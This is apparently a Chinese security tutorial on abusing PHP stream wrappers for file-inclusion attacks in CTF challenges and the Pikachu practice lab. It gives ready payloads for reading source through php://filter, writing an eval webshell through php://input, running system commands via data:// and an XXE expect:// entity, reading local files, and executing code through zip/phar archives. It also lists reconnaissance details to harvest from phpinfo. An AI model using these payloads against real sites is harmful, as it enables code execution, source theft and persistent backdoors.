【PHP安全】PHP伪协议

PHP伪协议:

  • file:// #访问本地文件系统
  • http:// #访问HTTPs网址
  • ftp:// #访问ftp URL
  • php:// #访问输入输出流
  • zlib:// #压缩流
  • data:// #数据(RFC 2397)
  • ssh2:// #security shell2
  • expect:// #处理交互式的流
  • glob:// #查找匹配的文件路径
  • phar:// #PHP 归档
  • rar:// #RAR
  • ogg:// #音频流

配置文件PHP.ini中关键参数:

  • allow_url_fopen:是否允许打开远程文件
  • allow_url_include:是否允许 include/require 远程文件

php://

在CTF中经常用到的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter

读取文件(必须使用base64编码读取出来源码,明文会被php解析执行,无法看到源码):

bash 复制代码
filename=php://filter/read=convert.base64-encode/resource=../../index.php


filename=../../index.php

会直接当成php文件解析

php://input

使用条件:

allow_url_include:on

代码执行:

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
也可以写入一句话木马:
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据
使用条件:

  • allow_url_fopen :on
  • allow_url_include:on

代码执行:

bash 复制代码
filename=data://text/plain,<?php phpinfo();?>
bash 复制代码
filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
bash 复制代码
filename=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

补充:
在phpinfo中需要关注的敏感信息:

  1. 绝对路径
    包含环境变量 _SERVER\['PATH'\] 文件根目录 _SERVER['DOCUMENT_ROOT'] 等信息
  2. 支持的程序
    可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,是否支持gopher、是否开启了fastcgi
  3. 查看真实IP
    $_SERVER['SERVER_ADDR'] 或SERVER_ADDR
    绕开 cdn 获取 C 段资产,旁站等重要信息
  4. 查看敏感配置
    allow_url_include:远程文件包含
    allow_url_fopen:远程文件读取
    disable_functions:禁用的函数名
    open_basedir:可将用户访问文件的活动范围限制在指定的区域
    short_open_tag:允许<??>这种形式,并且<?=等价于<? echo
  5. 配置文件位置
    读取配置文件内容,获取信息
    Loaded Configuration File

file://

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

任意文件读取:

bash 复制代码
filename=file:///C://windows/win.ini

zip://

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件

当zip:// 与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径,且要用#(#要用url编码%23)分隔压缩包和压缩包里的内容

只需要是zip的压缩包即可,后缀名可以为任意格式。

bash 复制代码
filename=zip://D:/phpstudy_pro/phpinfo.zip%23phpinfo.txt

zlib://

代码执行:
filename=compress.zlib://D:\phpstudy_pro\phpinfo.gz

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

代码执行:

bash 复制代码
filename=phar://D:\phpstudy_pro\phpinfo.zip/phpinfo.txt

expact://

XXE漏洞命令执行:

xml 复制代码
<?xml version="1.0"?>  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id" > ]>  <foo>&xxe;</foo>

http:// & https:// 协议

允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

代码执行:

bash 复制代码
filename=http://127.0.0.1:8088/phpinfo.txt

安全配置小建议:

以上测试使用的是pikachu靶场,建议在使用时更改配置

更改为Allow from 127.0.0.1

这样和陌生人在同一局域网中时就不怕因为pikachu靶场被远控主机了

相关推荐
iCxhust3 小时前
c# U盘映像生成工具
开发语言·单片机·c#
yangzhi_emo3 小时前
ES6笔记2
开发语言·前端·javascript
科技云报道3 小时前
2025全球数字经济大会—云智算安全论坛暨第三届“SecGo论坛”成功召开!共筑安全新生态
安全
emplace_back4 小时前
C# 集合表达式和展开运算符 (..) 详解
开发语言·windows·c#
jz_ddk4 小时前
[学习] C语言数学库函数背后的故事:`double erf(double x)`
c语言·开发语言·学习
萧曵 丶4 小时前
Rust 所有权系统:深入浅出指南
开发语言·后端·rust
xiaolang_8616_wjl5 小时前
c++文字游戏_闯关打怪2.0(开源)
开发语言·c++·开源
收破烂的小熊猫~5 小时前
《Java修仙传:从凡胎到码帝》第四章:设计模式破万法
java·开发语言·设计模式
nananaij5 小时前
【Python进阶篇 面向对象程序设计(3) 继承】
开发语言·python·神经网络·pycharm